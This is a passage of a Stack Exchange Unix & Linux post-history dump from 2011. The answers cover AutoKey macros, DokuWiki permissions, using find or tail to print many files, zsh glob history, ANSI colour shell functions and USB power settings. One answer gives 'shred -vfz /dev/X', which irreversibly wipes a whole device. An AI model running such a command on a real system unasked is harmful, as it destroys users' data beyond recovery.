  <row Id="30180" PostHistoryTypeId="5" PostId="12339" RevisionGUID="a62a0533-c5ea-4e37-b67d-43988cb73413" CreationDate="2011-04-29T22:22:53.633" UserId="2343" Comment="added 27 characters in body" Text="**[xmacro](http://xmacro.sourceforge.net/)** is a basic macro-recorder/macro-player.. it is good for some things, but is not suited to monitoring your keystrokes dynamically (other than for recording)... &#xD;&#xA;&#xD;&#xA;  * xmacro: *Record / Play keystrokes and mouse movements in X displays*&#xD;&#xA;&#xD;&#xA;You are probably better off using a tool like [**autokey**](http://code.google.com/p/autokey/).. You can find some tutorials at [How-To Geek](http://www.howtogeek.com/)  &#xD;&#xA;&#xD;&#xA;[Autokey Sample Scripts](http://code.google.com/p/autokey/wiki/SampleScripts)  &#xD;&#xA;[Autokey Video](http://www.youtube.com/watch?v=4KV_B6dBFHA)  &#xD;&#xA;Autokey Features:  &#xD;&#xA;&#xD;&#xA; * KDE and GTK versions available, making AutoKey integrate well into any desktop environment.&#xD;&#xA; * Write Python scripts to automate virtually any task that can be accomplished via the keyboard&#xD;&#xA; * Built-in code editor (using QScintilla in KDE or GtkSourceView2 in GTK)&#xD;&#xA; * Create phrases (blocks of text) to be pasted into any program on demand (uses the X selection)&#xD;&#xA; * Create collections of phrases/scripts in folders, and assign a hotkey or abbreviation to the folder to display a popup menu&#xD;&#xA; * Regular expressions can be used to filter windows by their title, to exclude hotkeys/abbreviations from triggering in certain applications&#xD;&#xA; * Scripts, phrases and folders can be attached to the tray icon menu, allowing you to select them without assigning a hotkey or abbreviation&#xD;&#xA; * AutoKey can track your usage patterns and present the most frequently used items at the top of the popup menu " />
  <row Id="30181" PostHistoryTypeId="2" PostId="12341" RevisionGUID="584c8e83-0878-4198-a19c-4db1ddad0057" CreationDate="2011-04-29T22:23:23.430" UserId="7089" Text="I'm pretty new to UNIX, so please bear with me.  I'm trying to upgrade to the latest version of DokuWiki, and I'm finding that the easiest way to do this is to install the upgrade plugin and just click a few buttons.  But there are permissions issues writing some of the files.&#xD;&#xA;&#xD;&#xA;How can I briefly change the permissions so that the plugin can work its magic without compromising security?&#xD;&#xA;&#xD;&#xA;I'm aware that this reveals my ignorance on the subject.  Be gentle :)" />
  <row Id="30182" PostHistoryTypeId="1" PostId="12341" RevisionGUID="584c8e83-0878-4198-a19c-4db1ddad0057" CreationDate="2011-04-29T22:23:23.430" UserId="7089" Text="How to give &quot;sudo&quot; access to DokuWiki plugin?" />
  <row Id="30183" PostHistoryTypeId="3" PostId="12341" RevisionGUID="584c8e83-0878-4198-a19c-4db1ddad0057" CreationDate="2011-04-29T22:23:23.430" UserId="7089" Text="élinuxàépermissionsàéchmodàédokuwikià" />
  <row Id="30184" PostHistoryTypeId="2" PostId="12342" RevisionGUID="57d0abc3-e132-4e7a-85a8-18808752b2e2" CreationDate="2011-04-29T22:30:38.140" UserId="3775" Text="From the command line, **what is the easiest way to show the contents of multiple files?** My directory looks like below.&#xD;&#xA;&#xD;&#xA;    ./WtCgikkCFHmmuXQXp0FkZjVrnJSU64Jb9WSyZ52b&#xD;&#xA;    ./xdIwVHnHY7dnuM9zcPDYQGZFdoVORPyMVD2IzjgM&#xD;&#xA;    ./GZnATXO1e5Hh3Bz1bhgJjjwheIjjZqtnXR0hfOyj&#xD;&#xA;    ./mWz7ehBNoTZmtDh8JG6sxw2lMJFwIovPzxDGECUY&#xD;&#xA;    ./JN65F5v3RL2ilHPqNSx9N9D4lvVpqpbJ9lASd8TJ&#xD;&#xA;    ./At9PS4y4nTiXUO0Z0USnbYkTPBla1msQRpwuruqE&#xD;&#xA;    ./YiPyMZPCaUDZTiTczAvWII9bJrUqLXCFtH2pXEA2&#xD;&#xA;    ./JoakdlbRFPwAvWp1d4n8RvMoyMeizCoiriL2Sn2U&#xD;&#xA;    ./wFPWZUus8Yu7UtESGABLCoqDg36cT90USO0xuyUr&#xD;&#xA;    ./qseI9PgV1EJfZCDyGGeVytajqG7JeX0r7eA5S1JW&#xD;&#xA;    ./zgFJpNgXyCsaVh38aCuMGuzHwIbwSNB6rQDdh27x&#xD;&#xA;    ./.htaccess&#xD;&#xA;&#xD;&#xA;Now I'd like to view the contents of all files except `.htaccess`. It might look something like:&#xD;&#xA;&#xD;&#xA;    WtCgikkCFHmmuXQXp0FkZjVrnJSU64Jb9WSyZ52b:&#xD;&#xA;    Contents of file WtCgikkCFHmmuXQXp0FkZjVrnJSU64Jb9WSyZ52b.&#xD;&#xA;    &#xD;&#xA;    xdIwVHnHY7dnuM9zcPDYQGZFdoVORPyMVD2IzjgM:&#xD;&#xA;    Contents of file xdIwVHnHY7dnuM9zcPDYQGZFdoVORPyMVD2IzjgM.&#xD;&#xA;    &#xD;&#xA;    [...]&#xD;&#xA;&#xD;&#xA;I think this should be doable with a combination of find, xargs and cat, but I haven't figured out how. Thanks for your time!" />
  <row Id="30185" PostHistoryTypeId="1" PostId="12342" RevisionGUID="57d0abc3-e132-4e7a-85a8-18808752b2e2" CreationDate="2011-04-29T22:30:38.140" UserId="3775" Text="Show contents of many files" />
  <row Id="30186" PostHistoryTypeId="3" PostId="12342" RevisionGUID="57d0abc3-e132-4e7a-85a8-18808752b2e2" CreationDate="2011-04-29T22:30:38.140" UserId="3775" Text="écommandölineàéfilesà" />
  <row Id="30187" PostHistoryTypeId="2" PostId="12343" RevisionGUID="bd6a23d4-f832-4579-b697-ec3c0439dd53" CreationDate="2011-04-29T22:34:24.423" UserId="885" Text="I don't think any shell does anything beyond whitespace munging when storing commands into the history. What `*` expanded to is not recorded, and there doesn't seem to be an option to record it.&#xD;&#xA;&#xD;&#xA;Note that it would not be possible to record in full generality anyway. For example, if you run `a='foo* bar*'; rm $a` (`rm $=~a` in zsh), the shell is unlikely to detect the wildcard match syntactically. And there's no option to log all glob expansions.&#xD;&#xA;&#xD;&#xA;You could cobble something together with [`preexec`](http://zsh.sourceforge.net/Doc/Release/Functions.html#Hook-Functions) (or [the bash equivalent](http://superuser.com/questions/175799/does-bash-have-a-hook-that-is-run-before-executing-a-command)). Untested first go (for zsh):&#xD;&#xA;&#xD;&#xA;    history_wildcards=()&#xD;&#xA;    precmd () {&#xD;&#xA;      emulate -LR zsh&#xD;&#xA;      local n tmp&#xD;&#xA;      history -1 | read n tmp&#xD;&#xA;      history_wildcards[$(($n+1))]=$=~1&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This fills the `history_wildcards` array to a string with the glob expansion of each word in the command line. Word splitting is performed in the naive way, so something like `echo ' /**/* '` will expand `/**/*` (i.e. traverse your disk). Don't expect anything useful from `cd subdir &amp;&amp; echo *` or anything so mind-bogglingly nontrivial.&#xD;&#xA;&#xD;&#xA;If you plan beforehand, you can make zsh expand the wildcards before you submit the command. In the default configuration, just press &lt;kbd&gt;Tab&lt;/kbd&gt; when your cursor is on the glob. If you've configured completion differently, try `^X *` (`expand-word`).&#xD;&#xA;" />
  <row Id="30188" PostHistoryTypeId="4" PostId="12341" RevisionGUID="d37ca935-6c87-42a3-bc81-a9bb0dc45e7c" CreationDate="2011-04-29T22:38:39.070" UserId="7089" Comment="Clarified question" Text="Temporary Permissions in UNIX" />
  <row Id="30189" PostHistoryTypeId="6" PostId="12307" RevisionGUID="8800f6cf-4993-4e15-b01f-75f0f5bcbb34" CreationDate="2011-04-29T22:40:29.100" UserId="885" Comment="edited tags" Text="édataörecoveryàéimageöeditoràéocràégraphà" />
  <row Id="30190" PostHistoryTypeId="2" PostId="12344" RevisionGUID="17498100-fe5f-4385-b23f-3f35fcfcf06f" CreationDate="2011-04-29T22:42:44.543" UserId="6912" Text="This doesn't automatically accept defaults like you're asking, but I like the &quot;make config-recursive&quot; method which runs you through any options for the port you want as well as options for all dependencies.  You don't have to change anything if you don't want to, but you go through all selection screens at once rather than whenever the building process arrives at them.&#xD;&#xA;&#xD;&#xA;Once that's done, your &quot;make install clean&quot; should go pretty much unattended." />
  <row Id="30191" PostHistoryTypeId="6" PostId="12315" RevisionGUID="f325bd98-303a-4357-92cf-6e8a76053efe" CreationDate="2011-04-29T22:45:18.507" UserId="885" Comment="edited tags" Text="édistributionöchoiceàésmallödistributionàélightweightà" />
  <row Id="30192" PostHistoryTypeId="2" PostId="12345" RevisionGUID="181474e7-dc0f-4369-84fc-b05d6e1e378f" CreationDate="2011-04-29T22:46:02.900" UserId="73" Text="If you do this often it might be worth sticking it in a shell script or a function; I have one named `cats` that does exactly that:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    while [ ! -z &quot;$1&quot; ]; do&#xD;&#xA;    	echo &quot;\033[32;1m$1\033[0m&quot;&#xD;&#xA;    	cat &quot;$1&quot;&#xD;&#xA;    	echo&#xD;&#xA;    	shift&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;It loops over each filename argument, prints out the filename (in bold green), and then cats the file:&#xD;&#xA;&#xD;&#xA;![Example screenshot](http://mrozekma.com/cats.png)" />
  <row Id="30193" PostHistoryTypeId="12" PostId="12345" RevisionGUID="5621aba4-492f-4663-b3e5-673fff554312" CreationDate="2011-04-29T22:46:28.953" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="30194" PostHistoryTypeId="6" PostId="12328" RevisionGUID="8ef18ae8-a5d7-4cde-8bec-4abcf5851d4e" CreationDate="2011-04-29T22:48:53.077" UserId="885" Comment="edited tags" Text="éxorgàéarchölinuxàétouchpadà" />
  <row Id="30195" PostHistoryTypeId="6" PostId="12331" RevisionGUID="b2d017e9-6bf2-4e60-aea9-02e1f7a1c314" CreationDate="2011-04-29T22:50:08.270" UserId="885" Comment="edited tags" Text="éxorgàékeyboardàémacroà" />
  <row Id="30196" PostHistoryTypeId="4" PostId="12341" RevisionGUID="6f18e334-c25e-4eeb-8285-7d5ebbfea300" CreationDate="2011-04-29T22:52:40.797" UserId="885" Comment="edited title" Text="Temporary Permissions when installing DokuWiki?" />
  <row Id="30197" PostHistoryTypeId="5" PostId="12345" RevisionGUID="7e2c1b55-6553-4519-90ff-beec13e6737c" CreationDate="2011-04-29T22:54:06.823" UserId="73" Comment="added 626 characters in body; added 20 characters in body" Text="You can do it all in one with `find`:&#xD;&#xA;&#xD;&#xA;    $ find . -type f -not -name .htaccess -printf &quot;\n%p\n&quot; -exec cat {} \;&#xD;&#xA;&#xD;&#xA;That tells `find` to find all files (`-type f`) in the current directory (`.`) except (`-not`) one named `.htaccess` (`-name .htaccess`). Then it prints (`-printf`) a newline followed by the filename (`%p`), and then runs `cat` on the file (`-exec cat {} \;`). That will give you output like:&#xD;&#xA;&#xD;&#xA;    test/test3&#xD;&#xA;    Line 1&#xD;&#xA;    &#xD;&#xA;    test/test2&#xD;&#xA;    Line 1&#xD;&#xA;    &#xD;&#xA;    test/test1&#xD;&#xA;    Line 1&#xD;&#xA;    Line 2&#xD;&#xA;    Line 3&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;If you do this often it might be worth sticking it in a shell script or a function; I have one named `cats` that does exactly that:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    while [ ! -z &quot;$1&quot; ]; do&#xD;&#xA;    	echo &quot;\033[32;1m$1\033[0m&quot;&#xD;&#xA;    	cat &quot;$1&quot;&#xD;&#xA;    	echo&#xD;&#xA;    	shift&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;It loops over each filename argument, prints out the filename (in bold green), and then cats the file:&#xD;&#xA;&#xD;&#xA;![Example screenshot](http://mrozekma.com/cats.png)&#xD;&#xA;&#xD;&#xA;So then the command would just be:&#xD;&#xA;&#xD;&#xA;    $ find . -type f -not -name .htaccess -exec cats {} \+&#xD;&#xA;" />
  <row Id="30198" PostHistoryTypeId="13" PostId="12345" RevisionGUID="e4b55d98-47ed-404b-a91e-d570f05aa0d3" CreationDate="2011-04-29T22:54:12.110" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="30199" PostHistoryTypeId="2" PostId="12346" RevisionGUID="ad848841-ae19-4c98-9044-a6fafbbbdbd3" CreationDate="2011-04-29T23:02:00.590" UserId="885" Text="The two standard commands `head` and `tail` print a header with the file name if you pass them more than one file argument. To print the whole file, use `tail -n +1` (print from the first line onwards, i.e. everything).&#xD;&#xA;&#xD;&#xA;Here, it looks like you want to see every file except the single one whose name begins with a dot. Dot files are “hidden” under unix: they don't appear in the default output of `ls` or in a wildcard match. So matching every non-hidden files is done with just `*`.&#xD;&#xA;&#xD;&#xA;    tail -n +1 *&#xD;&#xA;&#xD;&#xA;(Strictly speaking, `tail -n +1 -- *` is needed in case one of the file names begins with a `-`.)&#xD;&#xA;" />
  <row Id="30201" PostHistoryTypeId="5" PostId="12332" RevisionGUID="2af6ea70-1406-48a8-9100-c964aa767d29" CreationDate="2011-04-29T23:05:55.340" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Evolution of Operating systems from Unix](http://unix.stackexchange.com/questions/3196/evolution-of-operating-systems-from-unix)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I've seen the giant UNIX family trees, and I'm trying to figure out. If you were to classify its offspring into major categories, which ones are the largest in terms of users,  how many offshoots they have as well, and importance?&#xD;&#xA;&#xD;&#xA;So there's Linux, then there's BSD, then what else is out there?" />
  <row Id="30202" PostHistoryTypeId="10" PostId="12332" RevisionGUID="e14e5dfc-8f5c-4fe3-81ef-81afe773862d" CreationDate="2011-04-29T23:05:54.717" UserId="-1" CloseReasonId="1" Text="[{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="30203" PostHistoryTypeId="5" PostId="12345" RevisionGUID="1daa2440-74d1-486a-88eb-d7631ce04d52" CreationDate="2011-04-29T23:07:59.287" UserId="73" Comment="Gilles showed me a much easier way to loop over all the arguments" Text="You can do it all in one with `find`:&#xD;&#xA;&#xD;&#xA;    $ find . -type f -not -name .htaccess -printf &quot;\n%p\n&quot; -exec cat {} \;&#xD;&#xA;&#xD;&#xA;That tells `find` to find all files (`-type f`) in the current directory (`.`) except (`-not`) one named `.htaccess` (`-name .htaccess`). Then it prints (`-printf`) a newline followed by the filename (`%p`), and then runs `cat` on the file (`-exec cat {} \;`). That will give you output like:&#xD;&#xA;&#xD;&#xA;    test/test3&#xD;&#xA;    Line 1&#xD;&#xA;    &#xD;&#xA;    test/test2&#xD;&#xA;    Line 1&#xD;&#xA;    &#xD;&#xA;    test/test1&#xD;&#xA;    Line 1&#xD;&#xA;    Line 2&#xD;&#xA;    Line 3&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;If you do this often it might be worth sticking it in a shell script or a function; I have one named `cats` that does exactly that:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    for filename; do&#xD;&#xA;    	echo &quot;\033[32;1m$filename\033[0m&quot;&#xD;&#xA;    	cat &quot;$filename&quot;&#xD;&#xA;    	echo&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;It loops over each filename argument, prints out the filename (in bold green), and then cats the file:&#xD;&#xA;&#xD;&#xA;![Example screenshot](http://mrozekma.com/cats.png)&#xD;&#xA;&#xD;&#xA;So then the command would just be:&#xD;&#xA;&#xD;&#xA;    $ find . -type f -not -name .htaccess -exec cats {} \+&#xD;&#xA;" />
  <row Id="30204" PostHistoryTypeId="5" PostId="12003" RevisionGUID="ca19895a-6c8f-436a-ae43-87aa4adc0584" CreationDate="2011-04-29T23:09:01.140" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Replacement for halevt?](http://unix.stackexchange.com/questions/11472/replacement-for-halevt)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I've installed Arch Linux on my computer and I'm not using a desktop environment.  I just have Openbox window manager installed and bit by bit I'm building up my system with necessary applications etc.  My problem is that with a DE I had the convenience of being able to access my two CD drives or my pen drive immediately - it just detected them and would mount them automatically.  The same can be said for my Windows partition that used to be detected automatically with a DE.  Why is it that with no DE this sort of functionality is no longer present?  I have my Windows partition mounting through an entry in fstab and creating a mount point in /mnt...that's all well and good but having to do the same thing or having to use the mount command in the terminal for simple things like plugging a USB pen drive in is a bit ridiculous.  Is there any way that I can get automounting functionality?&#xD;&#xA;&#xD;&#xA;I looked around for similar questions but all of them used a DE so I couldn't really relate to them." />
  <row Id="30205" PostHistoryTypeId="10" PostId="12003" RevisionGUID="7b37c870-c41d-4ba4-a482-ee9d4ce33736" CreationDate="2011-04-29T23:09:00.610" UserId="-1" CloseReasonId="1" Text="[{&quot;Id&quot;:3169,&quot;DisplayName&quot;:&quot;Mikel&quot;},{&quot;Id&quot;:885,&quot;DisplayName&quot;:&quot;Gilles&quot;},{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="30206" PostHistoryTypeId="18" PostId="12003" RevisionGUID="4b7ce0e6-bdd8-4676-be79-136a60a0421a" CreationDate="2011-04-29T23:09:13.497" UserId="73" Comment="to http://unix.stackexchange.com/questions/11472/replacement-for-halevt" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="30207" PostHistoryTypeId="18" PostId="12004" RevisionGUID="4b7ce0e6-bdd8-4676-be79-136a60a0421a" CreationDate="2011-04-29T23:09:13.497" UserId="73" Comment="from http://unix.stackexchange.com/questions/12003/how-can-i-automount-devices-with-no-desktop-environment" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="30208" PostHistoryTypeId="18" PostId="12006" RevisionGUID="4b7ce0e6-bdd8-4676-be79-136a60a0421a" CreationDate="2011-04-29T23:09:13.497" UserId="73" Comment="from http://unix.stackexchange.com/questions/12003/how-can-i-automount-devices-with-no-desktop-environment" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="30209" PostHistoryTypeId="18" PostId="11472" RevisionGUID="4b7ce0e6-bdd8-4676-be79-136a60a0421a" CreationDate="2011-04-29T23:09:13.497" UserId="73" Comment="from http://unix.stackexchange.com/questions/12003/how-can-i-automount-devices-with-no-desktop-environment" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="30210" PostHistoryTypeId="14" PostId="12003" RevisionGUID="1147e886-8b01-456c-b912-b3045209b172" CreationDate="2011-04-29T23:09:14.573" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="30211" PostHistoryTypeId="2" PostId="12347" RevisionGUID="0969b89c-cd8b-48d1-a7ac-c25ca687f163" CreationDate="2011-04-29T23:45:39.820" UserId="146" Text="You could try using the xf86-video-dummy driver with Xorg to make the second screen." />
  <row Id="30212" PostHistoryTypeId="6" PostId="12256" RevisionGUID="a3bb6138-6093-4c3a-8183-e1b03a066b3e" CreationDate="2011-04-29T23:52:05.650" UserId="885" Comment="edited tags" Text="éxorgàéxvfbàédualheadà" />
  <row Id="30213" PostHistoryTypeId="25" PostId="12342" RevisionGUID="944147c9-c031-43f2-ab35-144756d3fd66" CreationDate="2011-04-30T00:11:18.567" Comment="http://twitter.com/#!/StackUnix/status/64119600681467904" />
  <row Id="30214" PostHistoryTypeId="2" PostId="12348" RevisionGUID="ffe9107a-cc6e-4be9-b1f0-9e2c61912303" CreationDate="2011-04-30T02:17:54.957" UserId="5763" Text="The kernel has support for USB 2.0 power saving feature &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;To disable it after you have booted, you can try &#xD;&#xA;&#xD;&#xA;echo 1 &gt; /sys/bus/usb/devices/**your-USB-device**/power/autosuspend&#xD;&#xA;&#xD;&#xA;echo &quot;on&quot; &gt; /sys/bus/usb/devices/**your-USB-device**/power/level&#xD;&#xA;&#xD;&#xA;For more details look in this [Link][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.lesswatts.org/projects/devices-power-management/usb.php" />
  <row Id="30215" PostHistoryTypeId="2" PostId="12349" RevisionGUID="3ec77db7-56a5-4f19-ac39-a13c62d55e1c" CreationDate="2011-04-30T03:04:31.743" UserId="3519" Text="I once used to have those defined in my `.bashrc`:&#xD;&#xA;&#xD;&#xA;    function bright		{ echo -n &quot;${e}1m&quot;; }&#xD;&#xA;    function normal		{ echo -n &quot;${e}0m&quot;; }&#xD;&#xA;    function colour		{ echo -n &quot;${e}$1;$2;$3m&quot;; }&#xD;&#xA;    function black		 { echo -n &quot;${e}30m&quot;; };   function bg_black	 { echo -n &quot;${e}40m&quot;; }&#xD;&#xA;    function red		   { echo -n &quot;${e}31m&quot;; };   function bg_red	   { echo -n &quot;${e}41m&quot;; }&#xD;&#xA;    function green		 { echo -n &quot;${e}32m&quot;; };   function bg_green	 { echo -n &quot;${e}42m&quot;; }&#xD;&#xA;    function yellow		{ echo -n &quot;${e}33m&quot;; };   function bg_yellow	{ echo -n &quot;${e}43m&quot;; }&#xD;&#xA;    function blue		  { echo -n &quot;${e}34m&quot;; };   function bg_blue	  { echo -n &quot;${e}44m&quot;; }&#xD;&#xA;    function magenta 	  { echo -n &quot;${e}35m&quot;; };   function bg_magenta  { echo -n &quot;${e}45m&quot;; }&#xD;&#xA;    function cyan		  { echo -n &quot;${e}36m&quot;; };   function bg_cyan	  { echo -n &quot;${e}46m&quot;; }&#xD;&#xA;    function white		 { echo -n &quot;${e}37m&quot;; };   function bg_white	 { echo -n &quot;${e}47m&quot;; }&#xD;&#xA;    function c_up		  { echo -n &quot;${e}$1A&quot;; };   function c_down	   { echo -n &quot;${e}$1B&quot;; } # within&#xD;&#xA;    function c_right 	  { echo -n &quot;${e}$1C&quot;; };   function c_left	   { echo -n &quot;${e}$1D&quot;; } # screen&#xD;&#xA;    function c_pos		 { echo -n &quot;${e}$1;$2f&quot;; } # [Hf]&#xD;&#xA;    function c_line		{ echo -n &quot;${e}$1d&quot;; }&#xD;&#xA;    function screentop	 { echo -n &quot;${e}H&quot;; }		# [Hdf]&#xD;&#xA;    function linetop	   { echo -n &quot;${e}G&quot;; }&#xD;&#xA;    function buffertop	 { echo -n &quot;${e}u&quot;; }		# depends on other control characters ?&#xD;&#xA;    function tab       	{ echo -n &quot;${e}I&quot;; }&#xD;&#xA;    function backtab	   { echo -n &quot;${e}Z&quot;; }&#xD;&#xA;    function scrolldown	{ echo -n &quot;${e}$1T&quot;; }	# within screen&#xD;&#xA;    function scrolldown_B  { echo -n &quot;${e}$1L&quot;; }	# scroll down below cursor&#xD;&#xA;    function scrollup_B	{ echo -n &quot;${e}$1M&quot;; }	# scroll up below cursor&#xD;&#xA;    function clear	     { echo -n &quot;${e}J&quot;; }		# delete to end of screen&#xD;&#xA;    function cleanbuffer   { echo -n &quot;${e}S&quot;; }	  # copies first screen to bottom and clears&#xD;&#xA;    				                                 # everything else above the cursor.&#xD;&#xA;    #function xxx	      { echo -n &quot;${e}xxx&quot;; }&#xD;&#xA;&#xD;&#xA;    export -f bright normal colour&#xD;&#xA;    export -f black bg_black red bg_red green bg_green yellow bg_yellow&#xD;&#xA;    export -f blue bg_blue magenta bg_magenta cyan bg_cyan white bg_white&#xD;&#xA;    export -f c_up c_down c_right c_left c_pos c_line&#xD;&#xA;    export -f screentop linetop buffertop tab backtab&#xD;&#xA;    export -f scrolldown scrolldown_B scrollup_B clear cleanbuffer&#xD;&#xA;&#xD;&#xA;You can then use them for example with:&#xD;&#xA;&#xD;&#xA;    PS1_init=&quot;\n$(bright)$(black)$(hostname):\w\n$(bg_blue)&quot;&#xD;&#xA;    PS1_end=&quot;$(normal)$(bright)\n\! -&gt; $(normal)$(clear)&quot;&#xD;&#xA;    export PS1=&quot;$PS1_init&quot;'$(date)'&quot;$PS1_end&quot;&#xD;&#xA;&#xD;&#xA;These may help you.&#xD;&#xA;&#xD;&#xA;The reason I made them into functions rather than variables is laziness. I just wanted to cut out on typing. Of course if you look for efficiency variables would be better.&#xD;&#xA;&#xD;&#xA;At the end of the day though these only fit certain terminals. So for any help consult your terminal documentation, not that of bash or any other shell for that matter." />
  <row Id="30216" PostHistoryTypeId="5" PostId="12349" RevisionGUID="b18872a2-f533-4e6a-94de-9a481a5a55c8" CreationDate="2011-04-30T03:10:45.670" UserId="3519" Comment="added 166 characters in body; added 379 characters in body" Text="I once used to have those defined in my `.bashrc`:&#xD;&#xA;&#xD;&#xA;    export e=&quot;\e[&quot;&#xD;&#xA;&#xD;&#xA;    function cls          { echo -n &quot;${e}H${e}J${e}0m&quot;; }&#xD;&#xA;    function rcls         { echo -n &quot;${e}H${e}J${e}S${e}H${e}J${e}0m${e}u${e}J&quot;; } # not quite yet !&#xD;&#xA;    # rcls only works when no funny codes have been issued in between, i.e. the buffer is clean&#xD;&#xA;    # below the current screen. And then there can be issues with the first line of the buffer.&#xD;&#xA;&#xD;&#xA;    function bright       { echo -n &quot;${e}1m&quot;; }&#xD;&#xA;    function normal       { echo -n &quot;${e}0m&quot;; }&#xD;&#xA;    function colour       { echo -n &quot;${e}$1;$2;$3m&quot;; }&#xD;&#xA;    function black        { echo -n &quot;${e}30m&quot;; }&#xD;&#xA;    function bg_black     { echo -n &quot;${e}40m&quot;; }&#xD;&#xA;    function red          { echo -n &quot;${e}31m&quot;; }&#xD;&#xA;    function bg_red       { echo -n &quot;${e}41m&quot;; }&#xD;&#xA;    function green        { echo -n &quot;${e}32m&quot;; }&#xD;&#xA;    function bg_green     { echo -n &quot;${e}42m&quot;; }&#xD;&#xA;    function yellow       { echo -n &quot;${e}33m&quot;; }&#xD;&#xA;    function bg_yellow    { echo -n &quot;${e}43m&quot;; }&#xD;&#xA;    function blue         { echo -n &quot;${e}34m&quot;; }&#xD;&#xA;    function bg_blue      { echo -n &quot;${e}44m&quot;; }&#xD;&#xA;    function magenta      { echo -n &quot;${e}35m&quot;; }&#xD;&#xA;    function bg_magenta   { echo -n &quot;${e}45m&quot;; }&#xD;&#xA;    function cyan         { echo -n &quot;${e}36m&quot;; }&#xD;&#xA;    function bg_cyan      { echo -n &quot;${e}46m&quot;; }&#xD;&#xA;    function white        { echo -n &quot;${e}37m&quot;; }&#xD;&#xA;    function bg_white     { echo -n &quot;${e}47m&quot;; }&#xD;&#xA;    function c_up         { echo -n &quot;${e}$1A&quot;; }&#xD;&#xA;    function c_down       { echo -n &quot;${e}$1B&quot;; }    # within&#xD;&#xA;    function c_right      { echo -n &quot;${e}$1C&quot;; }&#xD;&#xA;    function c_left       { echo -n &quot;${e}$1D&quot;; }    # screen&#xD;&#xA;    function c_pos        { echo -n &quot;${e}$1;$2f&quot;; } # [Hf]&#xD;&#xA;    function c_line       { echo -n &quot;${e}$1d&quot;; }&#xD;&#xA;    function screentop    { echo -n &quot;${e}H&quot;; }      # [Hdf]&#xD;&#xA;    function linetop      { echo -n &quot;${e}G&quot;; }&#xD;&#xA;    function buffertop    { echo -n &quot;${e}u&quot;; }      # depends on other control characters ?&#xD;&#xA;    function tab          { echo -n &quot;${e}I&quot;; }&#xD;&#xA;    function backtab      { echo -n &quot;${e}Z&quot;; }&#xD;&#xA;    function scrolldown   { echo -n &quot;${e}$1T&quot;; }    # within screen&#xD;&#xA;    function scrolldown_B { echo -n &quot;${e}$1L&quot;; }    # scroll down below cursor&#xD;&#xA;    function scrollup_B   { echo -n &quot;${e}$1M&quot;; }    # scroll up below cursor&#xD;&#xA;    function clear        { echo -n &quot;${e}J&quot;; }      # delete to end of screen&#xD;&#xA;    function cleanbuffer  { echo -n &quot;${e}S&quot;; }      # copies first screen to bottom and clears&#xD;&#xA;                                                    # everything else above the cursor.&#xD;&#xA;    #function xxx { echo -n &quot;${e}xxx&quot;; }&#xD;&#xA;&#xD;&#xA;    export -f bright normal colour&#xD;&#xA;    export -f black bg_black red bg_red green bg_green yellow bg_yellow&#xD;&#xA;    export -f blue bg_blue magenta bg_magenta cyan bg_cyan white bg_white&#xD;&#xA;    export -f c_up c_down c_right c_left c_pos c_line&#xD;&#xA;    export -f screentop linetop buffertop tab backtab&#xD;&#xA;    export -f scrolldown scrolldown_B scrollup_B clear cleanbuffer&#xD;&#xA;&#xD;&#xA;You can then use them for example with:&#xD;&#xA;&#xD;&#xA;    PS1_init=&quot;\n$(bright)$(black)$(hostname):\w\n$(bg_blue)&quot;&#xD;&#xA;    PS1_end=&quot;$(normal)$(bright)\n\! -&gt; $(normal)$(clear)&quot;&#xD;&#xA;    export PS1=&quot;$PS1_init&quot;'$(date)'&quot;$PS1_end&quot;&#xD;&#xA;&#xD;&#xA;These may help you.&#xD;&#xA;&#xD;&#xA;The reason I made them into functions rather than variables is laziness. I just wanted to cut out on typing. Of course if you look for efficiency variables would be better.&#xD;&#xA;&#xD;&#xA;At the end of the day though these only fit certain terminals. So for any help consult your terminal documentation, not that of bash or any other shell for that matter." />
  <row Id="30217" PostHistoryTypeId="25" PostId="12335" RevisionGUID="bd16e945-58ff-465f-93e2-e2e91cfa8ecc" CreationDate="2011-04-30T03:11:19.103" Comment="http://twitter.com/#!/StackUnix/status/64164900339060736" />
  <row Id="30222" PostHistoryTypeId="2" PostId="12351" RevisionGUID="9a8e5977-6d26-4310-88eb-35495fbf4f06" CreationDate="2011-04-30T04:57:05.187" UserId="1228" Text="Use [shred][1]:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;shred -vfz /dev/X&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.about.com/library/cmd/blcmdl1_shred.htm" />
